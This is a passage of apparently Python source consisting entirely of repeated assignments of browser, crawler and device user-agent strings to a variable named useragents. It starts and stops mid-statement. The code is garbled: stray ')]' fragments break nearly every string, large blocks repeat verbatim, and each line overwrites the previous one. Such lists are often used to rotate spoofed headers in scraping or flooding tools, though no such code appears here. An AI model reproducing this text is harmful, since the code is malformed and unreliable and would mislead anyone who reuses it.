Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = 